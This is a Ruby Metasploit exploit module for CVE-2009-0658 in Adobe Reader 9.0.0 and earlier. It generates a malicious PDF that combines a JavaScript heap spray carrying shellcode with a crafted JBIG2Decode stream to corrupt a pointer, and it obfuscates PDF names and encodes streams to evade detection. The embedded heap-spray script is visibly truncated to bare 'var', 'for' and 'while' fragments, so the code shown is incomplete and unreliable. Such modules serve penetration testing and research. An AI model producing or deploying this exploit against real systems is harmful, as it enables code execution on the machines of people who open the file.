require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
'Description'=> %q{
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
This module relies upon javascript for the heap spray.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'natron',
'xort', 'redsand',
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
],
'Version'=> '$Revision: 10477 $',
'References' =>
[
[ 'CVE' , '2009-0658' ],
[ 'OSVDB', '52073' ],
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space' => 1024,
'BadChars'=> ""
},
'Platform' => 'win',
'Targets'=>
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ],
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ],
],
'DisclosureDate' => 'Feb 19 2009',
'DefaultTarget'=> 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
], self.class)
end
def exploit
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
nops= Rex::Text.to_unescape(make_nops(4))
rand1 = rand_text_alpha(rand(50) + 1)
rand2 = rand_text_alpha(rand(50) + 1)
rand3 = rand_text_alpha(rand(50) + 1)
rand4 = rand_text_alpha(rand(50) + 1)
rand5 = rand_text_alpha(rand(50) + 1)
rand6 = rand_text_alpha(rand(50) + 1)
rand7 = rand_text_alpha(rand(50) + 1)
rand8 = rand_text_alpha(rand(50) + 1)
rand9 = rand_text_alpha(rand(50) + 1)
rand10 = rand_text_alpha(rand(50) + 1)
rand11 = rand_text_alpha(rand(50) + 1)
rand12 = rand_text_alpha(rand(50) + 1)
rand13 = rand_text_alpha(rand(50) + 1)
rand14 = rand_text_alpha(rand(50) + 1)
rand15 = rand_text_alpha(rand(50) + 1)
rand16 = rand_text_alpha(rand(50) + 1)
script = %Q|
var
var
var
var
for (
while (
while(
for (
for (
while (
while(
for (
|
eaxptr = "\x00\x20\x50\xff"
eaxp20ptr = "\x05\x69\x50\x50"
modifier = "\x00\x69\x00\x00"
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
pdf = make_pdf(script, jbig2stream)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
elsif c == " "
result << " " * (rand(3) + 1)
if rand(2) == 0
result << "\x0d\x0a"
result << " " * rand(2)
end
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js, jbig2)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4)
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1)
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end